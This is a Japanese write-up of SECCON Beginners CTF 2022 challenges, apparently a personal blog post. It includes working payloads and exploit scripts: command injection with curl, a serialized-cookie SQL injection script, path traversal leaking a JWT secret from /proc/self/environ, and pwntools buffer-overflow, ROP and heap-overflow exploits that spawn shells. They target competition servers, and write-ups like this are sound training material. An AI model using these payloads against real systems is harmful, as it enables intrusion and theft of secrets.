SECCON Beginners CTF 2022 write-up

https://www.seccon.jp/2022/seccon_beginners/content.html

残り1問が解けなくて4位。

![ranking.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/e7ce592c-a3ae-e32a-cf59-c21a731b3d9f.png)

![score.beginners.azure.noc.seccon.jp_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2478b842-9e77-53f3-4113-b42fe0f8c476.png)

![score.beginners.azure.noc.seccon.jp_teams_311(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/b11c80d1-ec8d-0b43-2089-ac03d02176ac.png)

## web

### Util (beginner)

Pingを打つサービス。OSコマンドインジェクション。

```main.go
 :
    r.POST("/util/ping", func(c *gin.Context) {
        var param IP
        if err := c.Bind(&param); err != nil {
            c.JSON(400, gin.H{"message": "Invalid parameter"})
            return
        }

        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
        result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

        c.JSON(200, gin.H{
            "result": string(result),
        })
    })
 :
```

クライアント側で入力の形式がチェックされているので `curl` でリクエストを送る。

```
$ curl https://util.quals.beginners.seccon.jp/util/ping -H 'Content-Type: application/json' --data '{"address": "; cat /flag*"}'
{"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\nctf4b{al1_0vers_4re_i1l}\n"}
```

`ctf4b{al1_0vers_4re_i1l}`

### textex (easy)

TeXをPDFに変換してくれるサービス。

TeX分からん……。 `\input` でファイルを読み込めるらしい。 `flag` が弾かれているのでは適当に分割することで回避。読み込んだファイルをTeXとして解釈するらしくエラーになる。数式モードに入れたらエラーにはならなくなった。 `{}` が消えていたり `_` が下付き文字になっているので手動で修正。

```tex
\documentclass{article}
\begin{document}

\newcommand{\hoge}[2]{#1#2}
$\input{\hoge{fl}{ag}}$

\end{document}
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/4b4ad95c-bee6-c945-7c8b-d9e49150d9c9.png)

`ctf4b{15_73x_pr0n0unc3d_ch0u?}`

### gallery (easy)

絵文字画像検索サービス。

配布ファイルの中にダミーフラグ的なものが無い。フラグはどこに……。で、ソースコードを見てみると、 `flag` という文字列を潰す処理がある。

```handlers.go
 :
    // replace suspicious chracters
    fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
    fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
    if fileExtension == "" {
        fileExtension = "jpeg"
    }
    log.Println(fileExtension)
 :
```

`fflaglag` として処理を回避してみると、フラグのpdfが出てくる。

- https://gallery.quals.beginners.seccon.jp/?file_extension=fflaglag
- https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf

レスポンスサイズが大きいと中身を潰す処理があった。問題文のこれか。

> 仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね？

レンジリクエストで回避。

```shell-session
$ curl -sS -H "Range: bytes=0-10239" https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf > flag1.pdf
$ curl -sS -H "Range: bytes=10240-" https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf > flag2.pdf
$ cat flag1.pdf flag2.pdf > flag.pdf
```

`ctf4b{r4nge_reque5t_1s_u5efu1!}`

### serial (medium)

PHPのオブジェクトをシリアライズしてcookieに入れている。このcookieを元にDBに問い合わせる処理にSQL Injectionがある。その問い合わせ結果でcookieを作り直すので、認証が正常に通るが名前だけフラグに差し替えた結果を返すようにすれば良い。

```attack.py
import requests
import base64

# O:4:"User":3:{s:2:"id";s:4:"4043";s:4:"name";s:6:"kusano";s:13:"password_hash";s:60:"$2y$10$szjy/CUh1lY1sdZctEJatuwHJODklKiLfttTMCkW7woLYX20cuBEi";}

user = "sdfasdf' UNION SELECT 4043, (SELECT body FROM flags), '$2y$10$o3I/huLuS2cwrS3Vc4f41us7aOibVLRRfKwXs5Wv5iMo3MoOJuSHK' -- "

c = 'O:4:"User":3:{s:2:"id";s:4:"4043";s:4:"name";s:'+str(len(user))+':"'+user+'";s:13:"password_hash";s:60:"$2y$10$o3I/huLuS2cwrS3Vc4f41us7aOibVLRRfKwXs5Wv5iMo3MoOJuSHK";}'
r = requests.post(
  "https://serial.quals.beginners.seccon.jp/",
  cookies = {
    "__CRED": base64.b64encode(c.encode()).decode(),
  })

c = r.cookies["__CRED"]
print(base64.b64decode(c).decode())
```

```shell-session
$ python3 attack.py
O:4:"User":3:{s:2:"id";s:4:"4043";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$o3I/huLuS2cwrS3Vc4f41us7aOibVLRRfKwXs5Wv5iMo3MoOJuSHK";}
```

`ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}`

### Ironhand (medium)

JWTにセッション情報を格納し、 `IsAdmin` が `true` ならばフラグが得られる。

はいはい、`alg` を `none` にするやつ……と思ったけど違った。今どきのライブラリは普通に書いただけでは `none` を通さないが、 `none` をわざわざ通すような処理は無かった。

JWTの鍵は環境変数に入っており、パストラバーサルの脆弱性があるので、 /proc/self/environ を読める。

```main.go
 :
    e.GET("/static/:file", func(c echo.Context) error {
        path, _ := url.QueryUnescape(c.Param("file"))
        f, err := ioutil.ReadFile("static/" + path)
        if err != nil {
            return c.String(http.StatusNotFound, "No such file")
        }
        return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
    })
 :
```

ディレクトリが1個は普通に遡れて、go.mod とかは読めるけれど、それより上はnginxが弾く。`//` にしたら通った。 `merge_slashes off` という設定があって、 `//` はそのまま通すようになっているから、2個遡ってもまだルートより下だろうということ？

```shell-session
$ curl -sS --path-as-is https://ironhand.quals.beginners.seccon.jp/static/..//../proc/self/environ | hexdump -C
00000000  48 4f 53 54 4e 41 4d 45  3d 61 39 38 32 31 30 64  |HOSTNAME=a98210d|
00000010  38 32 37 34 39 00 4a 57  54 5f 53 45 43 52 45 54  |82749.JWT_SECRET|
00000020  5f 4b 45 59 3d 55 36 68  48 46 5a 45 7a 59 47 77  |_KEY=U6hHFZEzYGw|
00000030  4c 45 65 7a 57 48 4d 6a  66 33 51 4d 38 33 56 6e  |LEezWHMjf3QM83Vn|
00000040  32 44 31 33 64 00 53 48  4c 56 4c 3d 31 00 48 4f  |2D13d.SHLVL=1.HO|
00000050  4d 45 3d 2f 68 6f 6d 65  2f 61 70 70 75 73 65 72  |ME=/home/appuser|
00000060  00 50 41 54 48 3d 2f 75  73 72 2f 6c 6f 63 61 6c  |.PATH=/usr/local|
00000070  2f 73 62 69 6e 3a 2f 75  73 72 2f 6c 6f 63 61 6c  |/sbin:/usr/local|
00000080  2f 62 69 6e 3a 2f 75 73  72 2f 73 62 69 6e 3a 2f  |/bin:/usr/sbin:/|
00000090  75 73 72 2f 62 69 6e 3a  2f 73 62 69 6e 3a 2f 62  |usr/bin:/sbin:/b|
000000a0  69 6e 00 50 57 44 3d 2f  61 70 70 00              |in.PWD=/app.|
000000ac
```

JWTの鍵は `U6hHFZEzYGwLEezWHMjf3QM83Vn2D13d`。 https://jwt.io/ で書き換えたセッションを作る。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/6f46da6f-473b-fe59-67ef-c3cfa731ed8e.png)

Adminだとヘッダの色が変わるの、わくわく感があって良い。

`ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}`

## misc

### phisher (easy)

> ホモグラフ攻撃を体験してみましょう。
> 心配しないで！相手は人間ではありません。

文字列を画像に変換してOCRを掛けた結果が `www.example.com` ならフラグが出力される。ただし、 入力に `www.example.com` を構成する文字が含まれていてはいけない。 `www.example.com` のように見える文字列を送る。

面倒……。1文字ずつ合わせていくなら徐々にフラグに近づく感じがあって楽しいけど、後の文字の影響で前の文字の認識結果が変わる。あと、Tesseract OCRはなぜか結果がいきなりめちゃくちゃになるときがあるんだよな……。

これで通った。

```shell-session
$ nc phisher.quals.beginners.seccon.jp 44322
       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\
|_|

FQDN: ωωω․єχαмρ|є․ςσм
ctf4b{n16h7_ph15h1n6_15_600d}
```

### H2 (easy)

HTTP2のpcapからフラグを探す。

昔々、HTTP2が出たばかりでWiresharkも対応してない頃に、HTTP2の通信を解析しろという問題を見たことがある。HTTP2のパケットは圧縮されているので、そのままでは読めない。今はWiresharkが対応しているので簡単。でも、パケットの数がとても多い。フラグが入っているならサイズが大きいだろうと、サイズでソートした。

なるほど。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">作った問題の簡易writeup<br>Command: CBCのIVをいじってgetflagという平文に変える<br><br>Unpredictable Pad: 負数を入れてたくさん乱数をリークした後メルセンヌツイスタの状態を復元する<br><br>H2: Wiresharkで&quot;<a href="https://t.co/fUMTjazDPM">https://t.co/fUMTjazDPM</a> == x-flag&quot;<a href="https://twitter.com/hashtag/ctf4b?src=hash&amp;ref_src=twsrc%5Etfw">#ctf4b</a></p>&mdash; れっくす (@xrekkusu) <a href="https://twitter.com/xrekkusu/status/1533328718608732161?ref_src=twsrc%5Etfw">June 5, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

`ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}`

### ultra_super_miracle_validator (easy)

> C言語のソースコードをコンパイルして実行してくれるサービスを作りました!
> 危険なコードは実行させたくないので，天才的で複雑な充足可能性問題を用いたルールに基づいて弾いています!

コンパイル結果をYARAのルールでチェックしており、それが通らないないといけない。

何もしない最小のソースコードでも弾かれるのだが……。

```shell-session
$ nc ultra-super-miracle-validator.quals.beginners.seccon.jp 5000
source:
main;
Malicious binary detected!!!
Please not exploit me...
```

YARAのルールを見てみると、問題文の通り充足可能性問題になっており、含まれてはいけない文字列と、含まれている必要がある文字列の組合わせを探す必要がある。

```
not (
  ($x1 or $x6 or $x12 or not $x21 or $x32) and
  ($x3 or $x5 or not $x11 or $x24 or $x35) and
  (not $x3 or $x31 or $x40 or $x9 or $x27) and
  ($x4 or $x8 or $x10 or $x29 or $x40) and
  ($x4 or $x7 or $x11 or $x25 or not $x36) and
  ($x8 or $x14 or $x18 or $x21 or $x38) and
  ($x12 or $x15 or not $x20 or $x30 or $x35) and
  ($x19 or $x21 or not $x32 or $x33 or $x39) and
  ($x2 or $x37 or $x19 or not $x23) and
  (not $x5 or $x14 or $x23 or $x30) and
  (not $x5 or $x8 or $x18 or $x23) and
  ($x33 or $x22 or $x4 or $x38) and
  ($x2 or $x20 or $x39) and
  ($x3 or $x15 or not $x30) and
  ($x6 or not $x17 or $x30) and
  ($x8 or $x29 or not $x21) and
  (not $x16 or $x1 or $x29) and
  ($x20 or $x10 or not $x5) and
  (not $x13 or $x25) and
  ($x21 or $x28 or $x30) and
  not $x2 and
  $x3 and
  not $x7 and
  not $x10 and
  not $x11 and
  $x14 and
  not $x15 and
  not $x22 and
  $x26 and
  not $x27 and
  $x34 and
  $x36 and
  $x37 and
  not $x40
)
```

これが真のときに弾かれるので、偽にする必要があり、全体が `not` で囲まれているのでメインの部分を真にすれば良い。

SATソルバーに投げるまでもなく解ける。後半の変数が1個だけの節はそれで変数の真偽が決まる。特に制約は厳しくないので、あとは各clauseごとに、すでに偽と決まっている変数以外を適当に選べば良い。

例えば、 `$x1 $x3 $x4 $x6 $x8 $x12 $x14 $x19 $x20 $x21 $x25 $x26 $x31 $x33 $x34 $x36 $x37` だけが真というのが解。

```solve.py
strings = """$x0
        $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5}
        $x2 = {e3 82 ab e3 83 96 e3 83 88 e8 99 ab}
        $x3 = {e5 bb 83 e5 a2 9f e3 81 ae e8 a1 97}
 :
        $x39 = {2b 66 53 73 2d 2b 6c 6e 30 2d 2b 67}
        $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d}
"""

T = [1, 3, 4, 6, 8, 12, 14, 19, 20, 21, 25, 26, 31, 34, 36, 37]

ans = []

import re
strings = strings.split("\n")
for t in T:
  ans += [bytes.fromhex(re.search(r"{(.*)}", strings[t]).group(1).replace(" ",""))]

ans = b"\0".join(ans)
print("".join("\\x%02x"%a for a in ans))
```

```shell-session
$ python3 solve.py
\xe3\x82\x89\xe3\x81\x9b\xe3\x82\x93\xe9\x9a\x8e\xe6\xae\xb5\x00\xe5\xbb\x83\xe5\xa2\x9f\xe3\x81\xae\xe8\xa1\x97\x00\xe3\x82\xa4\xe3\x83\x81\xe3\x82\xb8\xe3\x82\xaf\xe3\x81\xae\xe3\x82\xbf\xe3\x83\xab\xe3\x83\x88\x00\xe7\x89\xb9\xe7\x95\xb0\xe7\x82\xb9\x00\xe5\xa4\xa9\xe4\xbd\xbf\x00\x83\x4a\x83\x75\x83\x67\x92\x8e\x00\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67\x00\x8e\x87\x97\x7a\x89\xd4\x00\x94\xe9\x96\xa7\x82\xcc\x8d\x63\x92\xe9\x00\x30\x89\x30\x5b\x30\x93\x96\x8e\x6b\xb5\x00\x30\xc9\x30\xed\x30\xed\x30\xfc\x30\xb5\x30\x78\x30\x6e\x90\x53\x00\x72\x79\x75\x70\x70\xb9\x00\x2b\x4d\x49\x6b\x2d\x2b\x4d\x46\x73\x2d\x2b\x4d\x4a\x4d\x2d\x2b\x6c\x6f\x34\x2d\x00\x2b\x4d\x4b\x51\x2d\x2b\x4d\x4d\x45\x2d\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4b\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x4d\x4c\x38\x2d\x2b\x4d\x00\x2b\x63\x6e\x6b\x2d\x2b\x64\x58\x41\x2d\x2b\x63\x00\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4f\x63\x2d\x2b\x4d\x4d\x4d\x2d\x2b
$ nc ultra-super-miracle-validator.quals.beginners.seccon.jp 5000
source:
int main(){system("cat flag.txt");} char*s="\xe3\x82\x89\xe3\x81\x9b\xe3\x82\x93\xe9\x9a\x8e\xe6\xae\xb5\x00\xe5\xbb\x83\xe5\xa2\x9f\xe3\x81\xae\xe8\xa1\x97\x00\xe3\x82\xa4\xe3\x83\x81\xe3\x82\xb8\xe3\x82\xaf\xe3\x81\xae\xe3\x82\xbf\xe3\x83\xab\xe3\x83\x88\x00\xe7\x89\xb9\xe7\x95\xb0\xe7\x82\xb9\x00\xe5\xa4\xa9\xe4\xbd\xbf\x00\x83\x4a\x83\x75\x83\x67\x92\x8e\x00\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67\x00\x8e\x87\x97\x7a\x89\xd4\x00\x94\xe9\x96\xa7\x82\xcc\x8d\x63\x92\xe9\x00\x30\x89\x30\x5b\x30\x93\x96\x8e\x6b\xb5\x00\x30\xc9\x30\xed\x30\xed\x30\xfc\x30\xb5\x30\x78\x30\x6e\x90\x53\x00\x72\x79\x75\x70\x70\xb9\x00\x2b\x4d\x49\x6b\x2d\x2b\x4d\x46\x73\x2d\x2b\x4d\x4a\x4d\x2d\x2b\x6c\x6f\x34\x2d\x00\x2b\x4d\x4b\x51\x2d\x2b\x4d\x4d\x45\x2d\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4b\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x4d\x4c\x38\x2d\x2b\x4d\x00\x2b\x63\x6e\x6b\x2d\x2b\x64\x58\x41\x2d\x2b\x63\x00\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4f\x63\x2d\x2b\x4d\x4d\x4d\x2d\x2b";
ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}
Not matched. Have Fun!
```

何か不穏なこの文字列、何なんだろう。

```
$x1 = らせん階段
$x2 = カブト虫
$x3 = 廃墟の街
$x4 = イチジクのタルト
$x5 = ドロローサへの道
$x6 = 特異点
$x7 = ジョット
$x8 = 天使
$x9 = 紫陽花
$x10 = 秘密の皇帝
$x11 = b'\x82\xe7\x82\xb9\x82\xf1\x8aK\x92i'
$x12 = b'\x83J\x83u\x83g\x92\x8e'
$x13 = b'\x94p\x9a\xd0\x82\xcc\x8aX'
$x14 = b'\x83C\x83`\x83W\x83N\x82\xcc\x83^\x83\x8b\x83g'
$x15 = b'\x83h\x83\x8d\x83\x8d\x81[\x83T\x82\xd6\x82\xcc\x93\xb9'
$x16 = b'\x93\xc1\x88\xd9\x93_'
$x17 = b'\x83W\x83\x87\x83b\x83g'
$x18 = b'\x93V\x8eg'
$x19 = b'\x8e\x87\x97z\x89\xd4'
$x20 = b'\x94\xe9\x96\xa7\x82\xcc\x8dc\x92\xe9'
$x21 = b'0\x890[0\x93\x96\x8ek\xb5'
$x22 = 0K0v
$x23 = b'^\xc3X\x9f0n\x88W'
$x24 = b'0\xa40\xc10\xb80\xaf0n0\xbf0\xeb0\xc8'
$x25 = b'0\xc90\xed0\xed0\xfc0\xb50x0n\x90S'
$x26 = b'ryupp\xb9'
$x27 = b'0\xb80\xe70\xc30\xc8'
$x28 = Y)O
$x29 = b'}+\x96}\x82\xb1'
$x30 = b'y\xd8[\xc60nv\x87^\x1d'
$x31 = +MIk-+MFs-+MJM-+lo4-
$x32 = +MEs-+MH
$x33 = +XsM-+WJ8-+MG4-+
$x34 = +MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M
$x35 = +MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M
$x36 = +cnk-+dXA-+c
$x37 = +MLg-+MOc-+MMM-+
$x38 = +WSk-+T3
$x39 = +fSs-+ln0-+g
$x40 = +edg-+W8Y-+MG4-+doc-
```

### hitchhike4b (medium)

> helpを呼び出したら、ページャーとして猫が来ました。

Pythonの `help` はページャーとして `less` を使うので、OSコマンドが実行できる……というのがhitchhike。hitchike4bでは潰されている。

何も理解していないけど、適当に入力していたら解けてしまった。

```
$ nc hitchhike4b.quals.beginners.seccon.jp 55433
 _     _ _       _     _     _ _        _  _   _
| |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__
| '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \
| | | | | || (__| | | | | | | |   <  __/__   _| |_) |
|_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___|  |_| |_.__/


----------------------------------------------------------------------------------------------------

# Source Code

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

----------------------------------------------------------------------------------------------------

Welcome to Python 3.10's help utility!
 :
help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
 _     _ _       _     _     _ _        _  _   _
| |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__
| '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \
 :
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help>
```

`ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}`

## pwnable

### BeginnersBof (beginner)

```src.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
        err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
```

はい、やるだけ……と思ったら、手元で動いてもリモートで動かない。動かないというか、フラグが出力される前に接続が切れてしまう。バッファサイズもちゃんと0にしているのに、どうして？

しかたがないので、 `win` の後に `main` を呼び出して、入力待ち受けで止まるようにした。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
#s = remote("localhost", 8888)

s.sendlineafter(b"How long is your name?\n", b"100")
s.sendlineafter(b"What's your name?\n", b"x"*40+pack(0x401262)+pack(0x4011e6)+pack(0x401264))
s.interactive()
```

`0x401262` の `ret` はスタックアラインの調節用。`win` を呼び出すだけなら `push rbp` の次に飛ばせば良いけれど、次に `main` を呼び出すにはそれではダメなはず。

```shell-session
$ python3 attack.py
[+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done
[*] Switching to interactive mode
Hello xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb\x12ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
How long is your name?
$
```

`ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}`

### raindrop (easy)

```src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}
```

`system` 関数と `"sh"` という文字列があるので、 `system("sh")` を実行すれば良い。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("raindrop.quals.beginners.seccon.jp", 9001)
s.sendlineafter(b"Did you understand?\n", bytes(0x18)+pack(0x401453)+pack(0x4020f4)+pack(0x4011e5))
s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
[*] Switching to interactive mode
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x0000000000000000  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00000000004020f4
finish
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
$
```

`ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}`

### simplelist (medium)

libc-2.33.so。最近のlibcは分からないぞ……と思ったけど、関係無かった。ヒープバッファオーバフローがある。自前でリストを実装しているので、チェックの無いtcacheだと思えば良い。

GOTを指すようにすれば、libcのアドレスのリークができる。書き換えれば関数を差し替えられる。 `puts` はあちこちで使われていてやっかいそうなので、 `gets` を `system` に変えた。

```attack.py
from pwn import *

#context.log_level = "debug"

s = remote("simplelist.quals.beginners.seccon.jp", 9003)

elf = ELF("chall")
context.binary = elf

def create(c):
  s.sendafter(b"> ", b"1")
  s.recvuntil(b"[debug] new memo allocated at 0x")
  addr = int(s.recvline()[:-1].decode(), 16)
  s.sendlineafter(b"Content: ", c)
  return addr

def edit(i, c):
  s.sendafter(b"> ", b"2")
  s.sendafter(b"index: ", str(i).encode())
  s.sendlineafter(b"New content: ", c)

def show(i):
  s.sendafter(b"> ", b"2")
  s.sendafter(b"index: ", str(i).encode())
  s.recvuntil(b"Old content: ")
  d = s.recvline()[:-1]
  s.sendlineafter(b"New content: ", d)
  return d

create(b"x")
create(b"x")
edit(0, b"x"*0x20+pack(0x31)+pack(elf.got.gets-8)+b"/bin/sh")
gets = unpack(show(2).ljust(8, b"\0"))

libc = ELF("libc-2.33.so")
system = gets - libc.symbols.gets + libc.symbols.system
edit(2, pack(system))

edit(1, b"")

s.interactive()
```

用意されている `show` コマンドだとリンクを全て辿ってセグフォしてしまうので、 `edit` の書き換え前の文字列を出力する機能を表示に使っている。

```
$ python3 attack.py
[+] Opening connection to simplelist.quals.beginners.seccon.jp on port 9003: Done
[*] '/mnt/d/documents/ctf/secconbeginners2022/simplelist/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/documents/ctf/secconbeginners2022/simplelist/libc-2.33.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls -al
total 32
drwxr-xr-x 1 root pwn   4096 May 31 09:53 .
drwxr-xr-x 1 root root  4096 May 31 09:53 ..
-r-xr-x--- 1 root pwn  14440 May 31 09:50 chall
-r--r----- 1 root pwn     29 May 31 09:50 flag.txt
-r-xr-x--- 1 root pwn     34 May 31 09:50 redir.sh
$ cat flag.txt
ctf4b{W3lc0m3_t0_th3_jungl3}
$
```

`ctf4b{W3lc0m3_t0_th3_jungl3}`

### snowdrop (medium)

> これでもうあの危険なone gadgetは使わせないよ!

`system` 関数が消えた。そしてlibcが配布されない。どうしろと……？　と思ったけど、静的リンクなのでバイナリ中に `syscall` がある。 `read` で `"/bin/sh"` を読んで、それを引数に `execv` した。

```attack.py
from pwn import *

elf = ELF("chall")
context.binary = elf

s = remote("snowdrop.quals.beginners.seccon.jp", 9002)

rop = ROP(elf)
rop.read(0, 0x4ba000, 8)
rop.execve(0x4ba000, 0, 0)
#print(rop.dump())

s.sendlineafter(b"Did you understand?\n", bytes(0x18)+rop.chain())
s.send(b"/bin/sh\0")
s.interactive()
```

```shell-session
$ python3 attack.py
[*] '/mnt/d/documents/ctf/secconbeginners2022/snowdrop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done
[*] Loaded 114 cached gadgets for 'chall'
[*] Using sigreturn for 'SYS_execve'
[*] Switching to interactive mode
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x0000000000000000  <- saved rbp
 000003 | 0x000000000040a29e  <- saved ret addr
 000004 | 0x00000000004ba000
 000005 | 0x0000000000401b84
 000006 | 0x0000000000000000
 000007 | 0x00000000004017cf
finish
$ cat flag.txt
ctf4b{h1ghw4y_t0_5h3ll}
$
```

`ctf4b{h1ghw4y_t0_5h3ll}`

### Monkey Heap (hard)

これが解けなかった。悔しい。

`malloc` で確保できるサイズが0x500以上0x600未満で、tcacheもfastbinも使えない。そもそも`malloc`ではなく`calloc`なのでtcacheは無理か。Unsorted bin attackで `global_max_fast` を書き換えてfastbinが使われるようにして～と思ったけど、最近のGlibcでは無理。

https://www.anquanke.com/post/id/222948

ググっていたら出てきた。バナナ🍌。問題名と問題文からして、「これを使うだけですよ」という問題っぽい。でも、 `rtld_global` を全く知らないので間に合わなかった。

追記：解いた。

https://qiita.com/kusano_k/items/2e8bf933bff37c0e98e0

## reversing

### Quiz (beginner)

```
$ ./quiz
Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか？
    1) ELM  2) ELF  3) ELR
Answer : 2
Correct!

